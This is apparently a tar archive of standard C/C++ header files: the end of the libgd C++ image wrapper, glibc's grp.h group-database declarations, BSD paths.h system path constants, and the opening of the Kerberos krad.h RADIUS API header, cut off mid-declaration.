void StringUp(gdFontPtr f, const Point & p, char * s, int color) { StringUp(f, p.X(), p.Y(), (unsigned char *)s, color); } void String(gdFontPtr f, const Point & p, const std::string & s, int color) { String(f, p, (char *)s.c_str(), color); } void StringUp(gdFontPtr f, const Point & p, const std::string & s, int color) { StringUp(f, p, (char *)s.c_str(), color); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, int x, int y, char * string) { return gdImageStringFT(im, brect, fg, fontlist, ptsize, angle, x, y, string); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, int x, int y, char * string, gdFTStringExtraPtr strex) { return gdImageStringFTEx(im, brect, fg, fontlist, ptsize, angle, x, y, string, strex); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, int x, int y, const std::string & string) { return StringFT(brect, fg, fontlist, ptsize, angle, x, y, (char *)string.c_str()); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, int x, int y, const std::string & string, gdFTStringExtraPtr strex) { return StringFT(brect, fg, fontlist, ptsize, angle, x, y, (char *)string.c_str(), strex); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, const Point & p, char * string) { return StringFT(brect, fg, fontlist, ptsize, angle, p.X(), p.Y(), string); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, const Point & p, char * string, gdFTStringExtraPtr strex) { return StringFT(brect, fg, fontlist, ptsize, angle, p.X(), p.Y(), string, strex); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, const Point & p, const std::string & string) { return StringFT(brect, fg, fontlist, ptsize, angle, p, (char *)string.c_str()); } char * StringFT(int * brect, int fg, char * fontlist, double ptsize, double angle, const Point & p, const std::string & string, gdFTStringExtraPtr strex) { return StringFT(brect, fg, fontlist, ptsize, angle, p, (char *)string.c_str(), strex); } void Polygon(gdPointPtr p, int n, int c) { gdImagePolygon(im, p, n, c); } void OpenPolygon(gdPointPtr p, int n, int c) { gdImageOpenPolygon(im, p, n, c); } void FilledPolygon(gdPointPtr p, int n, int c) { gdImageFilledPolygon(im, p, n, c); } void Polygon(PointPtr p, int n, int c) { Polygon(p->as_gdPointPtr(), n, c); } void OpenPolygon(PointPtr p, int n, int c) { OpenPolygon(p->as_gdPointPtr(), n, c); } void FilledPolygon(PointPtr p, int n, int c) { FilledPolygon(p->as_gdPointPtr(), n, c); } int ColorAllocate(int r, int g, int b) { return gdImageColorAllocate(im, r, g, b); } int ColorAllocate(int r, int g, int b, int a) { return gdImageColorAllocateAlpha(im, r, g, b, a); } int ColorClosest(int r, int g, int b) const { return gdImageColorClosest(im, r, g, b); } int ColorClosest(int r, int g, int b, int a) const { return gdImageColorClosestAlpha(im, r, g, b, a); } int ColorClosestHWB(int r, int g, int b) const { return gdImageColorClosestHWB(im, r, g, b); } int ColorExact(int r, int g, int b) const { return gdImageColorExact(im, r, g, b); } int ColorExact(int r, int g, int b, int a) const { return gdImageColorExactAlpha(im, r, g, b, a); } int ColorResolve(int r, int g, int b) { return gdImageColorResolve(im, r, g, b); } int ColorResolve(int r, int g, int b, int a) { return gdImageColorResolveAlpha(im, r, g, b, a); } void ColorDeallocate(int color) { gdImageColorDeallocate(im, color); } void TrueColorToPalette(int ditherFlag, int colorsWanted) { gdImageTrueColorToPalette(im, ditherFlag, colorsWanted); } void ColorTransparent(int color) { gdImageColorTransparent(im, color); } void PaletteCopy(gdImagePtr src) { gdImagePaletteCopy(im, src); } void PaletteCopy(const GD::Image & src) { PaletteCopy(src.im); } /** Write out this image in GIF file format to \p out. \param out A FILE * handle */ void Gif(FILE * out) const { gdImageGif(im, out); } /** Write out this image in GIF file format to \p out. \param out A gdIOCtx * handle */ void Gif(gdIOCtx * out) const { gdImageGifCtx(im, out); } /** Allocate sufficient memory, and write this image, in GIF file format, to that memory. \param size A pointer for the allocated memory \return A pointer to the allocated memory, containing the image GIF file formatted. Caller is responsible for freeing with gdFree(). */ void * Gif(int * size) const { return gdImageGifPtr(im, size); } /** Write out this image in GIF file format to \p out. \param out An output stream, already opened. */ void Gif(std::ostream & out) const { ostreamIOCtx _out_ctx(out); gdImageGifCtx(im, & _out_ctx); } #ifdef HAVE_LIBPNG /** Write out this image in PNG file format to \p out. \param out A FILE * handle */ void Png(FILE * out) const { gdImagePng(im, out); } /** Write out this image in PNG file format to \p out. \param out A gdIOCtx * handle */ void Png(gdIOCtx * out) const { gdImagePngCtx(im, out); } /** Allocate sufficient memory, and write this image, in PNG file format, to that memory. \param size A pointer for the allocated memory \return A pointer to the allocated memory, containing the image PNG file formatted. Caller is responsible for freeing with gdFree(). */ void * Png(int * size) const { return gdImagePngPtr(im, size); } /** Write out this image in PNG file format to \p out. \param out An output stream, already opened. */ void Png(std::ostream & out) const { ostreamIOCtx _out_ctx(out); gdImagePngCtx(im, & _out_ctx); } /** Write out this image in PNG file format to \p out. \param out A FILE * handle \param level The level of compression: 0 == "no compression", 1 == "compressed as quickly as possible" --> 9 == "compressed as much as possible", -1 == zlib default compression level */ void Png(FILE * out, int level) const { gdImagePngEx(im, out, level); } /** Write out this image in PNG file format to \p out. \param out A gdIOCtx * handle \param level The level of compression: 0 == "no compression", 1 == "compressed as quickly as possible" --> 9 == "compressed as much as possible", -1 == zlib default compression level */ void Png(gdIOCtx * out, int level) const { gdImagePngCtxEx(im, out, level); } /** Allocate sufficient memory, and write this image, in PNG file format, to that memory. \param size A pointer for the allocated memory \param level The level of compression: 0 == "no compression", 1 == "compressed as quickly as possible" --> 9 == "compressed as much as possible", -1 == zlib default compression level \return A pointer to the allocated memory, containing the image PNG file formatted. Caller is responsible for freeing with gdFree(). */ void * Png(int * size, int level) const { return gdImagePngPtrEx(im, size, level); } /** Write out this image in PNG file format to \p out. \param out An output stream, already opened. \param level The level of compression: 0 == "no compression", 1 == "compressed as quickly as possible" --> 9 == "compressed as much as possible", -1 == zlib default compression level */ void Png(std::ostream & out, int level) const { ostreamIOCtx _out_ctx(out); gdImagePngCtxEx(im, & _out_ctx, level); } #endif /** Write out this image in WBMP file format ( black and white only ) to \p out. \param fg The color index of the foreground. All other pixels considered background. \param out A FILE * handle */ void WBMP(int fg, FILE * out) const { gdImageWBMP(im, fg, out); } /** Write out this image in WBMP file format ( black and white only ) to \p out. \param fg The color index of the foreground. All other pixels considered background. \param out A gdIOCtx * handle */ void WBMP(int fg, gdIOCtx * out) const { gdImageWBMPCtx(im, fg, out); } /** Allocate sufficient memory, and write this image, in WBMP file format ( black and white only ), to that memory. \param size A pointer for the allocated memory \param fg The color index of the foreground. All other pixels considered background. \return A pointer to the allocated memory, containing the image WBMP file formatted. Caller is responsible for freeing with gdFree(). */ void * WBMP(int * size, int fg) const { return gdImageWBMPPtr(im, size, fg); } /** Write out this image in WBMP file format ( black and white only ) to \p out. \param fg The color index of the foreground. All other pixels considered background. \param out An output stream, already opened. */ void WBMP(int fg, std::ostream & out) const { ostreamIOCtx _out_ctx(out); gdImageWBMPCtx(im, fg, & _out_ctx); } #ifdef HAVE_LIBJPEG /** Write out this image in JPEG file format to \p out. \param out A FILE * handle \param quality Should be a value in the range 0-95, higher numbers imply both higher quality and larger image size. Default value is -1, indicating "use a sensible default value". */ void Jpeg(FILE * out, int quality = -1) const { gdImageJpeg(im, out, quality); } /** Write out this image in JPEG file format to \p out. \param out A gdIOCtx * handle \param quality Should be a value in the range 0-95, higher numbers imply both higher quality and larger image size. Default value is -1, indicating "use a sensible default value". */ void Jpeg(gdIOCtx * out, int quality = -1) const { gdImageJpegCtx(im, out, quality); } /** Allocate sufficient memory, and write this image, in JPEG file format, to that memory. \param size A pointer for the allocated memory \param quality Should be a value in the range 0-95, higher numbers imply both higher quality and larger image size. Default value is -1, indicating "use a sensible default value". \return A pointer to the allocated memory, containing the image JPEG file formatted. Caller is responsible for freeing with gdFree(). */ void * Jpeg(int * size, int quality = -1) const { return gdImageJpegPtr(im, size, quality); } /** Write out this image in JPEG file format to \p out. \param out An output stream, already opened. \param quality Should be a value in the range 0-95, higher numbers imply both higher quality and larger image size. Default value is -1, indicating "use a sensible default value". */ void Jpeg(std::ostream & out, int quality = -1) const { ostreamIOCtx _out_ctx(out); gdImageJpegCtx(im, & _out_ctx, quality); } #endif void GifAnimBegin(FILE * out, int GlobalCM, int Loops) const { gdImageGifAnimBegin(im, out, GlobalCM, Loops); } void GifAnimAdd(FILE * out, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm) const { gdImageGifAnimAdd(im, out, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm); } void GifAnimAdd(FILE * out, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, const GD::Image & previm) const { GifAnimAdd(out, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm.im); } inline static void GifAnimEnd(FILE * out) { gdImageGifAnimEnd(out); } void GifAnimBegin(gdIOCtx * out, int GlobalCM, int Loops) const { gdImageGifAnimBeginCtx(im, out, GlobalCM, Loops); } void GifAnimAdd(gdIOCtx * out, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm) const { gdImageGifAnimAddCtx(im, out, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm); } void GifAnimAdd(gdIOCtx * out, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, const GD::Image & previm) const { GifAnimAdd(out, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm.im); } inline static void GifAnimEnd(gdIOCtx * out) { gdImageGifAnimEndCtx(out); } void * GifAnimBegin(int * size, int GlobalCM, int Loops) const { return gdImageGifAnimBeginPtr(im, size, GlobalCM, Loops); } void * GifAnimAdd(int * size, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, gdImagePtr previm) const { return gdImageGifAnimAddPtr(im, size, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm); } void * GifAnimAdd(int * size, int LocalCM, int LeftOfs, int TopOfs, int Delay, int Disposal, const GD::Image & previm) const { return GifAnimAdd(size, LocalCM, LeftOfs, TopOfs, Delay, Disposal, previm.im); } inline static void * GifAnimEnd(int * size) { return gdImageGifAnimEndPtr(size); } void Gd(FILE * out) const { gdImageGd(im, out); } void* Gd(int * size) const { return gdImageGdPtr(im, size); } void Gd2(FILE * out, int cs, int fmt) const { gdImageGd2(im, out, cs, fmt); } void* Gd2(int cs, int fmt, int * size) const { return gdImageGd2Ptr(im, cs, fmt, size); } void Ellipse(int cx, int cy, int w, int h, int color) { gdImageEllipse(im, cx, cy, w, h, color); } /** Draw a partial ellipse centered at the given point, with the specified width and height in pixels. */ void FilledArc(int cx, int cy, int w, int h, int s, int e, int color, int style) { gdImageFilledArc(im, cx, cy, w, h, s, e, color, style); } void Arc(int cx, int cy, int w, int h, int s, int e, int color) { gdImageArc(im, cx, cy, w, h, s, e, color); } void FilledEllipse(int cx, int cy, int w, int h, int color) { gdImageFilledEllipse(im, cx, cy, w, h, color); } void FillToBorder(int x, int y, int border, int color) { gdImageFillToBorder(im, x, y, border, color); } void Fill(int x, int y, int color) { gdImageFill(im, x, y, color); } void Ellipse(const Point & c, const Size & s, int color) { Ellipse(c.X(), c.Y(), s.W(), s.H(), color); } void FilledArc(const Point & c, const Size & si, int s, int e, int color, int style) { FilledArc(c.X(), c.Y(), si.W(), si.H(), s, e, color, style); } void Arc(const Point & c, const Size & si, int s, int e, int color) { Arc(c.X(), c.Y(), si.W(), si.H(), s, e, color); } void FilledEllipse(const Point & c, const Size & s, int color) { FilledEllipse(c.X(), c.Y(), s.W(), s.H(), color); } void FillToBorder(const Point & p, int border, int color) { FillToBorder(p.X(), p.Y(), border, color); } void Fill(const Point & p, int color) { Fill(p.X(), p.Y(), color); } void Copy(const gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h) { gdImageCopy(im, src, dstX, dstY, srcX, srcY, w, h); } void CopyMerge(const gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct) { gdImageCopyMerge(im, src, dstX, dstY, srcX, srcY, w, h, pct); } void CopyMergeGray(const gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct) { gdImageCopyMergeGray(im, src, dstX, dstY, srcX, srcY, w, h, pct); } void CopyResized(const gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH) { gdImageCopyResized(im, src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); } void CopyResampled(const gdImagePtr src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH) { gdImageCopyResampled(im, src, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); } void CopyRotated(const gdImagePtr src, double dstX, double dstY, int srcX, int srcY, int srcWidth, int srcHeight, int angle) { gdImageCopyRotated(im, src, dstX, dstY, srcX, srcY, srcWidth, srcHeight, angle); } Image * CopyGaussianBlurred(int radius, double sigma) { return new Image(gdImageCopyGaussianBlurred(im, radius, sigma)); } void Copy(const gdImagePtr src, const Point & dstP, const Point & srcP, const Size & s) { Copy(src, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H()); } void CopyMerge(const gdImagePtr src, const Point & dstP, const Point & srcP, const Size & s, int pct) { CopyMerge(src, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H(), pct); } void CopyMergeGray(const gdImagePtr src, const Point & dstP, const Point & srcP, const Size & s, int pct) { CopyMergeGray(src, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H(), pct); } void CopyResized(const gdImagePtr src, const Point & dstP, const Point & srcP, const Size & dstS, const Size & srcS) { CopyResized(src, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), dstS.W(), dstS.H(), srcS.W(), srcS.H()); } void CopyResampled(const gdImagePtr src, const Point & dstP, const Point & srcP, const Size & dstS, const Size & srcS) { CopyResampled(src, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), dstS.W(), dstS.H(), srcS.W(), srcS.H()); } void CopyRotated(const gdImagePtr src, double dstX, double dstY, const Point & srcP, const Size & srcS, int angle) { CopyRotated(src, dstX, dstY, srcP.X(), srcP.Y(), srcS.W(), srcS.H(), angle); } void Copy(const GD::Image & src, int dstX, int dstY, int srcX, int srcY, int w, int h) { Copy(src.im, dstX, dstY, srcX, srcY, w, h); } void CopyMerge(const GD::Image & src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct) { CopyMerge(src.im, dstX, dstY, srcX, srcY, w, h, pct); } void CopyMergeGray(const GD::Image & src, int dstX, int dstY, int srcX, int srcY, int w, int h, int pct) { CopyMergeGray(src.im, dstX, dstY, srcX, srcY, w, h, pct); } void CopyResized(const GD::Image & src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH) { CopyResized(src.im, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); } void CopyResampled(const GD::Image & src, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH) { CopyResampled(src.im, dstX, dstY, srcX, srcY, dstW, dstH, srcW, srcH); } void CopyRotated(const GD::Image & src, double dstX, double dstY, int srcX, int srcY, int srcWidth, int srcHeight, int angle) { CopyRotated(src.im, dstX, dstY, srcX, srcY, srcWidth, srcHeight, angle); } void Copy(const GD::Image & src, const Point & dstP, const Point & srcP, const Size & s) { Copy(src.im, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H()); } void CopyMerge(const GD::Image & src, const Point & dstP, const Point & srcP, const Size & s, int pct) { CopyMerge(src.im, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H(), pct); } void CopyMergeGray(const GD::Image & src, const Point & dstP, const Point & srcP, const Size & s, int pct) { CopyMergeGray(src.im, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), s.W(), s.H(), pct); } void CopyResized(const GD::Image & src, const Point & dstP, const Point & srcP, const Size & dstS, const Size & srcS) { CopyResized(src.im, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), dstS.W(), dstS.H(), srcS.W(), srcS.H()); } void CopyResampled(const GD::Image & src, const Point & dstP, const Point & srcP, const Size & dstS, const Size & srcS) { CopyResampled(src.im, dstP.X(), dstP.Y(), srcP.X(), srcP.Y(), dstS.W(), dstS.H(), srcS.W(), srcS.H()); } void CopyRotated(const GD::Image & src, double dstX, double dstY, const Point & srcP, const Size & srcS, int angle) { CopyRotated(src.im, dstX, dstY, srcP.X(), srcP.Y(), srcS.W(), srcS.H(), angle); } Image * Clone() { return new Image(gdImageClone(im)); } void SetBrush(gdImagePtr brush) { gdImageSetBrush(im, brush); } void SetBrush(const GD::Image & brush) { SetBrush(brush.im); } void SetTile(gdImagePtr tile) { gdImageSetTile(im, tile); } void SetTile(const GD::Image & tile) { SetTile(tile.im); } void SetAntiAliased(int c) { gdImageSetAntiAliased(im, c); } void SetAntiAliasedDontBlend(int c, int dont_blend) { gdImageSetAntiAliasedDontBlend(im, c, dont_blend); } void SetStyle(int * style, int noOfPixels) { gdImageSetStyle(im, style, noOfPixels); } void SetThickness(int thickness) { gdImageSetThickness(im, thickness); } void SetResolution(int res_x, int res_y) { gdImageSetResolution(im, res_x, res_y); } void SetInterpolationMethod(gdInterpolationMethod interpolation_method) { gdImageSetInterpolationMethod(im, interpolation_method); } Image * RotateInterpolated(const float angle, int bgcolor) { return new Image(gdImageRotateInterpolated(im, angle, bgcolor)); } void Interlace(bool interlaceArg) { gdImageInterlace(im, interlaceArg?1:0); } void AlphaBlending(bool alphaBlendingArg) { gdImageAlphaBlending(im, alphaBlendingArg?1:0); } void SaveAlpha(bool saveAlphaArg) { gdImageSaveAlpha(im, saveAlphaArg?1:0); } int ColorReplace(int src, int dst) { return gdImageColorReplace(im, src, dst); } int ColorReplaceArray(int len, int * src, int * dst) { return gdImageColorReplaceArray(im, len, src, dst); } int ColorReplaceCallback(gdCallbackImageColor callback) { return gdImageColorReplaceCallback(im, callback); } int ColorReplaceThreshold(int src, int dst, float threshold) { return gdImageColorReplaceThreshold(im, src, dst, threshold); } bool Pixelate(int block_size, gdPixelateMode mode) { return gdImagePixelate(im, block_size, mode) == 0 ? false : true; } Image * Scale(int new_width, int new_height) { return new Image(gdImageScale(im, new_width, new_height)); } bool IsTrueColor() const { return (gdImageTrueColor(im)?true:false); } int SX() const { return gdImageSX(im); } int SY() const { return gdImageSY(im); } int Width() const { return SX(); } int Height() const { return SY(); } int ResX() const { return gdImageResolutionX(im); } int ResY() const { return gdImageResolutionY(im); } void GetSize(Size & s) const { s.set(SX(), SY()); } int ColorsTotal() const { return gdImageColorsTotal(im); } int Red(int color) const { return gdImageRed(im, color); } int Green(int color) const { return gdImageGreen(im, color); } int Blue(int color) const { return gdImageBlue(im, color); } int Alpha(int color) const { return gdImageAlpha(im, color); } int GetTransparent() const { return gdImageGetTransparent(im); } int GetInterlaced() const { return gdImageGetInterlaced(im); } int PalettePixel(int x, int y) const { return gdImagePalettePixel(im, x, y); } int TrueColorPixel(int x, int y) const { return gdImageTrueColorPixel(im, x, y); } const gdImagePtr GetPtr() const { return im; } protected: /// Free the internal image pointer void clear() { if (im) gdImageDestroy(im); im = 0; } gdImagePtr im; }; } // namespace GD /// Read in an image from a standard library input stream std::istream & operator>> (std::istream & in, GD::Image & img); #endif /* _gdpp_h */ #endif /* __cplusplus */ grp.h 0000644 00000015036 15246445046 0005524 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 9.2.1 Group Database Access <grp.h> */ #ifndef _GRP_H #define _GRP_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types.h> #define __need_size_t #include <stddef.h> /* For the Single Unix specification we must define this type here. */ #if (defined __USE_XOPEN || defined __USE_XOPEN2K) && !defined __gid_t_defined typedef __gid_t gid_t; # define __gid_t_defined #endif /* The group structure. */ struct group { char *gr_name; /* Group name. */ char *gr_passwd; /* Password. */ __gid_t gr_gid; /* Group ID. */ char **gr_mem; /* Member list. */ }; #ifdef __USE_MISC # include <bits/types/FILE.h> #endif #if defined __USE_MISC || defined __USE_XOPEN_EXTENDED /* Rewind the group-file stream. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void setgrent (void); /* Close the group-file stream. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endgrent (void); /* Read an entry from the group-file stream, opening it if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct group *getgrent (void); #endif #ifdef __USE_MISC /* Read a group entry from STREAM. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct group *fgetgrent (FILE *__stream); #endif #ifdef __USE_GNU /* Write the given entry onto the given stream. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int putgrent (const struct group *__restrict __p, FILE *__restrict __f); #endif /* Search for an entry with a matching group ID. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct group *getgrgid (__gid_t __gid); /* Search for an entry with a matching group name. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct group *getgrnam (const char *__name); #ifdef __USE_POSIX # ifdef __USE_MISC /* Reasonable value for the buffer sized used in the reentrant functions below. But better use `sysconf'. */ # define NSS_BUFLEN_GROUP 1024 # endif /* Reentrant versions of some of the functions above. PLEASE NOTE: the `getgrent_r' function is not (yet) standardized. The interface may change in later versions of this library. But the interface is designed following the principals used for the other reentrant functions so the chances are good this is what the POSIX people would choose. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ # ifdef __USE_GNU extern int getgrent_r (struct group *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct group **__restrict __result); # endif /* Search for an entry with a matching group ID. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int getgrgid_r (__gid_t __gid, struct group *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct group **__restrict __result); /* Search for an entry with a matching group name. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int getgrnam_r (const char *__restrict __name, struct group *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct group **__restrict __result); # ifdef __USE_MISC /* Read a group entry from STREAM. This function is not standardized an probably never will. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int fgetgrent_r (FILE *__restrict __stream, struct group *__restrict __resultbuf, char *__restrict __buffer, size_t __buflen, struct group **__restrict __result); # endif #endif /* POSIX or reentrant */ #ifdef __USE_MISC # define __need_size_t # include <stddef.h> /* Set the group set for the current user to GROUPS (N of them). */ extern int setgroups (size_t __n, const __gid_t *__groups) __THROW; /* Store at most *NGROUPS members of the group set for USER into *GROUPS. Also include GROUP. The actual number of groups found is returned in *NGROUPS. Return -1 if the if *NGROUPS is too small. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getgrouplist (const char *__user, __gid_t __group, __gid_t *__groups, int *__ngroups); /* Initialize the group set for the current user by reading the group database and using all groups of which USER is a member. Also include GROUP. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int initgroups (const char *__user, __gid_t __group); #endif /* Use misc. */ __END_DECLS #endif /* grp.h */ paths.h 0000644 00000005641 15246445046 0006054 0 ustar 00 /* * Copyright (c) 1989, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)paths.h 8.1 (Berkeley) 6/2/93 */ #ifndef _PATHS_H_ #define _PATHS_H_ /* Default search path. */ #define _PATH_DEFPATH "/usr/bin:/bin" /* All standard utilities path. */ #define _PATH_STDPATH \ "/usr/bin:/bin:/usr/sbin:/sbin" #define _PATH_BSHELL "/bin/sh" #define _PATH_CONSOLE "/dev/console" #define _PATH_CSHELL "/bin/csh" #define _PATH_DEVDB "/var/run/dev.db" #define _PATH_DEVNULL "/dev/null" #define _PATH_DRUM "/dev/drum" #define _PATH_GSHADOW "/etc/gshadow" #define _PATH_KLOG "/proc/kmsg" #define _PATH_KMEM "/dev/kmem" #define _PATH_LASTLOG "/var/log/lastlog" #define _PATH_MAILDIR "/var/mail" #define _PATH_MAN "/usr/share/man" #define _PATH_MEM "/dev/mem" #define _PATH_MNTTAB "/etc/fstab" #define _PATH_MOUNTED "/etc/mtab" #define _PATH_NOLOGIN "/etc/nologin" #define _PATH_PRESERVE "/var/lib" #define _PATH_RWHODIR "/var/spool/rwho" #define _PATH_SENDMAIL "/usr/sbin/sendmail" #define _PATH_SHADOW "/etc/shadow" #define _PATH_SHELLS "/etc/shells" #define _PATH_TTY "/dev/tty" #define _PATH_UNIX "/boot/vmlinux" #define _PATH_UTMP "/var/run/utmp" #define _PATH_VI "/usr/bin/vi" #define _PATH_WTMP "/var/log/wtmp" /* Provide trailing slash, since mostly used for building pathnames. */ #define _PATH_DEV "/dev/" #define _PATH_TMP "/tmp/" #define _PATH_VARDB "/var/db/" #define _PATH_VARRUN "/var/run/" #define _PATH_VARTMP "/var/tmp/" #endif /* !_PATHS_H_ */ krad.h 0000644 00000021345 15246445046 0005655 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright 2013 Red Hat, Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * This API is not considered as stable as the main krb5 API. * * - We may make arbitrary incompatible changes between feature releases * (e.g. from 1.12 to 1.13). * - We will make some effort to avoid making incompatible changes for * bugfix releases, but will make them if necessary. */ #ifndef KRAD_H_ #define KRAD_H_ #include <krb5.h> #include <verto.h> #include <stddef.h> #include <stdio.h> #define KRAD_PACKET_SIZE_MAX 4096 #define KRAD_SERVICE_TYPE_LOGIN 1 #define KRAD_SERVICE_TYPE_FRAMED 2 #define KRAD_SERVICE_TYPE_CALLBACK_LOGIN 3 #define KRAD_SERVICE_TYPE_CALLBACK_FRAMED 4 #define KRAD_SERVICE_TYPE_OUTBOUND 5 #define KRAD_SERVICE_TYPE_ADMINISTRATIVE 6 #define KRAD_SERVICE_TYPE_NAS_PROMPT 7 #define KRAD_SERVICE_TYPE_AUTHENTICATE_ONLY 8 #define KRAD_SERVICE_TYPE_CALLBACK_NAS_PROMPT 9 #define KRAD_SERVICE_TYPE_CALL_CHECK 10 #define KRAD_SERVICE_TYPE_CALLBACK_ADMINISTRATIVE 11 typedef struct krad_attrset_st krad_attrset; typedef struct krad_packet_st krad_packet; typedef struct krad_client_st krad_client; typedef unsigned 